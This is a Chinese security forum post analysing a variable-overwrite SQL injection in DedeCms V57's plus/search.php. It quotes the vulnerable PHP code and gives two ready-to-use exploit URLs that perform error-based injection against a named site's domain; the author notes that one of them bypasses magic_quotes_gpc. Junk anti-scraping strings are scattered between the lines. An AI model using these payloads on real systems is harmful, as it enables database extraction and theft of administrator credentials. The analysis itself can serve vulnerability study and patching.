中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
* @6 B& B, V6 {0 T" I
作者:
c4rp3nt3r@0x50sec.org
: K* H+ p+ n; T) s1 l: N" C
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
4 ^' e" L7 U" z) m. K- N$ t |
; f" x. [- p! e# M
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
8 G1 w! W- s2 V2 w# n
! ]5 d8 h5 l& c @6 f0 m* O) a, k
============
6 @- Q: e9 O1 m$ d* b% o/ f' }8 c3 c1 N
; ~. R3 {- M+ g" j8 w0 P
5 N7 v! e9 E: s$ Q1 R
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
0 g" j# B2 s& z. d
( `$ e( p5 Z+ i( X& f6 @3 U
require_once(dirname(__FILE__).”/../include/common.inc.php”);
; P$ P% O8 g) x4 c9 X
require_once(DEDEINC.”/arc.searchview.class.php”);
* C) b3 p6 {; c2 f3 [
# d5 o+ k0 G% G! J! x
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
4 l) p, g, W/ l4 `
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
, o$ \! Z& l/ h% a3 u
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
9 c% |. p" Y. t2 G
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
2 V; I( f8 J1 E1 a
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
2 u, @, Q: y+ t. s G
5 R1 R% ~/ [& o8 o7 z. C
if(!isset($orderby)) $orderby=”;
8 @: A3 S: e- L0 b) Y4 _
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
3 H/ ^' M- _' x& m. I( _1 S( c
6 ?! ^! k! ~1 p
- C$ K l! D& Z$ T$ q
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
7 C" E4 @2 a/ u
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
4 X! V- \% U. O
5 Z6 t/ e. s0 {6 y' S0 R7 I
if(!isset($keyword)){
( d$ d5 @! g; i9 ^1 j
if(!isset($q)) $q = ”;
7 [4 B0 m5 s: [5 {7 u- w
$keyword=$q;
- E7 M' t: F. n# j4 l- }+ j; ?/ {
}
: h% }2 L A% V4 h% g7 Y& X4 s
! S$ i' Y! D" C& p
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
( @2 w8 \4 C6 }" I
* z7 h7 e- b1 m' B1 ?, P$ @. F
//查找栏目信息
! ~& ~ T( s& r4 Y1 Y: J8 `
if(empty($typeid))
! E5 [* d5 `3 u/ D: ]
{
7 k. a& |" f2 R! I0 Q" ?- w
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
' a8 [' s* H) v/ {7 G( I7 o
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
* o8 w0 Y2 Y7 X5 X' |( R$ J
{
9 N3 `% s( T+ j9 ] q5 r6 G" ?) n! C
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
5 Q1 R" a5 o3 y$ G- s3 S
fwrite($fp, “<”.”?php\r\n”);
* G; Q+ m [! s# W( N7 o( n
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
. u) f4 _4 b& B# E5 `$ c$ N
$dsql->Execute();
, i3 h" T7 v: q9 [' o' W1 N5 @: a; \
while($row = $dsql->GetArray())
; X. i, W5 h- l8 K- o
{
) z$ i. r _' ?1 d6 U& _2 g
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
& R7 G9 V& @: _9 |- R0 ]
}
" ^" D4 o7 Q3 ?$ e" y2 |/ T" @
fwrite($fp, ‘?’.'>’);
0 o* I) E) }, B& Q- Y
fclose($fp);
% N6 c: M) U% @7 u% M/ `% L
}
! ^+ ~/ D1 [0 I. t/ J
//引入栏目缓存并看关键字是否有相关栏目内容
# p6 C9 a; w, o. z" a
require_once($typenameCacheFile);
3 C9 M* `( ]5 D8 H
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
" ^. V1 e5 o( T& e
//
2 q8 W3 Y) K5 |! S; ~
if(isset($typeArr) && is_array($typeArr))
* L3 L5 V7 ]1 W8 z: [
{
4 @8 B1 o1 b, [% m6 e7 L0 ]
foreach($typeArr as $id=>$typename)
F u D/ f; h) w) [2 I
{
+ U4 y, ]! J+ D& X* _
, o6 U1 r; B3 r2 J i
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
2 Y T( ?# i* w2 \) Z ~
if($keyword != $keywordn)
1 d. b- v* O8 \4 `) w( @' j
{
* i% X b' f" w
$keyword = $keywordn;
. e2 x4 \4 I( D% |
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
% K2 A7 ?# U1 Y5 ?$ z
break;
' Y0 |. ?; T( n8 ^
}
5 j# ]2 |: E( F( S( G+ o' u
}
. q0 b i$ c) E
}
, b" T' Y9 f4 ~ M/ `$ F4 k: j; f
}
9 s( l& Z+ R9 h q. Z" y6 B
然后plus/search.php文件下面定义了一个 Search类的对象 .
' R! w1 ^. B h9 v- _, F
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
6 I5 F3 G- I( t3 X# p7 x
$this->TypeLink = new TypeLink($typeid);
! ~' K8 D, t% u% q
$ y* j, O1 s* N9 `
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
% E" ^8 W3 O6 Y% c+ c' U4 O
1 @8 \ H/ k$ u6 ^% e
class TypeLink
& u# z6 M9 H1 W$ p
{
( G6 Q$ ^& l, r4 U; w& h7 l
var $typeDir;
- I( i1 U. Z. @# W' L7 q
var $dsql;
2 q, f: B, H# T- A3 i* `
var $TypeID;
. y, r; }& q: ]9 T
var $baseDir;
r: [3 M6 p9 ]8 U) P3 K& _
var $modDir;
5 E) a' q; I G% ]8 K
var $indexUrl;
3 u8 O( J- i4 s, B2 @* A$ _9 Z
var $indexName;
7 I4 c. c$ z8 U T1 O( n
var $TypeInfos;
0 f) \7 s; I, m9 d) \) [ ]
var $SplitSymbol;
% ?, R3 q* U9 y
var $valuePosition;
# V1 Q' g$ i8 f1 |
var $valuePositionName;
# F6 y0 {/ K6 q# P) D
var $OptionArrayList;//构造函数///////
8 x# w& j& r7 o E( I) ^* I. A. c
//php5构造函数
; I! Z) R! T; h
function __construct($typeid)
! ?( X9 \5 d0 d3 f& A4 L
{
, v5 m: O7 v( h8 a, y' A$ \5 s
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
! @5 U% K6 J" A7 n; s. W' y, j
$this->indexName = $GLOBALS['cfg_indexname'];
4 \3 z! v! G4 @* E$ M6 B) }
$this->baseDir = $GLOBALS['cfg_basedir'];
/ I, x1 k7 E Z. k; o/ |' N- D
$this->modDir = $GLOBALS['cfg_templets_dir'];
# E2 |* g9 H3 [
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
4 G8 J7 O* U K: l& q
$this->dsql = $GLOBALS['dsql'];
" q3 \% L1 q2 h' v6 [; k
$this->TypeID = $typeid;
( e+ V1 s5 z( t% w
$this->valuePosition = ”;
% D$ N0 i( r d
$this->valuePositionName = ”;
* p8 `, ]$ ~3 Y! A/ `" ^, Q
$this->typeDir = ”;
9 L: J; I# A# R
$this->OptionArrayList = ”;
( y/ c; }1 T6 J" \& z4 _: w) N
- d1 @% [' H+ G, j) z/ d
//载入类目信息
4 d6 P; o3 E+ U% P+ T
5 O) a9 N7 d# _9 |6 O
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
8 Z6 U9 I9 O2 |9 ~, o
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
& z( ^4 {9 |8 }* v7 \4 s, p4 Q+ ~! E6 R
`#@__channeltype` ch
$ W8 j! B { v3 K+ _. Z$ @
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
. \! _/ C: N! k
$ ^. u5 g! D8 J1 i: f1 e
if($typeid > 0)
4 V ]# d* ^" ]" b, o* D4 u
{
) |2 \3 e0 C* h) V- Y. w7 v
$this->TypeInfos = $this->dsql->GetOne($query);
$ ?+ n* Q3 }- }0 `
利用代码一 需要 即使magic_quotes_gpc = Off
# Z( b$ d" ?* d Q# z% ]0 P
! H1 N, [8 s- g8 Z
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
: V# e z2 D' X$ D, }; V( X
. R2 F' W- k1 s" U# @* U" L$ M
这只是其中一个利用代码… Search 类的构造函数再往下
9 i7 q. C- L6 f7 l- n: Q
( V6 ~- F, {7 n1 \
……省略
: @9 d( C* _) H5 g5 |
$this->TypeID = $typeid;
" n) M! D7 D. R- h
……省略
; c4 q4 m% h! A8 G5 l
if($this->TypeID==”0″){
0 k2 o# A& D) G
$this->ChannelTypeid=1;
+ R$ o* I& o1 g
}else{
$ S# N; T7 j D- t8 J1 A
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
3 d& ~. L. n- ~5 l* @; P
//现在不鸡肋了吧亲…
( [0 ^' }3 v6 @) q7 [- c6 ^3 v
$this->ChannelTypeid=$row['channeltype'];
- \- m; T! r( t' i8 g( L! s( X
! f2 G+ h) h4 {) o9 g
}
6 w8 a' a i& ~' }% ~' B
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
2 |9 r$ L9 U5 _& `
! H1 l0 U. A8 j5 ]
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 y* i' n H, G) B
* A7 _! ~: Y9 \( L4 l
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
: g% J4 N4 V. B+ b5 p( J
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2